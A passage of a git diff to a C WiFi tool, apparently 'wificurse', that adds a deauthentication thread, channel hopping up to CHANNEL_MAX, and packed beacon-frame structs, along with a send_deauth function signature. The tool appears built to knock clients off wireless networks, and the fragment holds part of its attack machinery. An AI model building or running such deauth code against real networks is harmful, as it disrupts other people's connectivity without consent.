(chan % CHANNEL_MAX) + 1; + if (channel_isset(&chans, chan)) + ret = iw_set_channel(&dev, chan); + else + ret = -1; + pthread_mutex_unlock(&mutex_chan); /* if fails try next channel */ - } while(++n < 13 && ret < 0); - if (ret < 0) { - print_error(); - goto _errout; + } while(++n < CHANNEL_MAX && ret < 0); + if (n != -1) { + if (ret < 0) { + print_error(); + goto _errout; + } + tm = time(NULL); } - clear_deauth(&apl); - update_scr(&apl, &dev); - tm1 = time(NULL); } } + /* we got an error from deauth thread */ + if (stop == 2) + goto _errout; + printf("\nExiting..\n"); + stop = 1; + pthread_join(deauth_thread, NULL); iw_close(&dev); free_ap_list(&apl); return EXIT_SUCCESS; _errout: + stop = 1; + pthread_join(deauth_thread, NULL); +_errout_no_thread: iw_close(&dev); free_ap_list(&apl); return EXIT_FAILURE; diff --git a/src/wificurse.h b/src/wificurse.h @@ -21,10 +21,11 @@ #include <stdint.h> #include <linux/if.h> -#include "dev.h" +#include "iw.h" +#include "ap_list.h" -#define VERSION "0.2" +#define VERSION "0.3" struct frame_control { uint8_t protocol_version:2; @@ -58,8 +59,24 @@ struct mgmt_frame { uint8_t frame_body[]; } __attribute__((__packed__)); +struct info_element { + uint8_t id; + uint8_t len; + uint8_t info[]; +} __attribute__((__packed__)); + +#define INFO_ELEMENT_ID_SSID 0 +#define INFO_ELEMENT_ID_DS 3 + +struct beacon_frame_body { + uint64_t timestamp; + uint16_t interval; + uint16_t capabilities; + struct info_element infos[]; +} __attribute__((__packed__)); + -int send_deauth(int fd, uint8_t *ap_mac); -int read_bssid(int fd, uint8_t *bssid); +int send_deauth(struct iw_dev *dev, struct access_point *ap); +int read_ap_info(struct iw_dev *dev, struct ap_info *api); #endif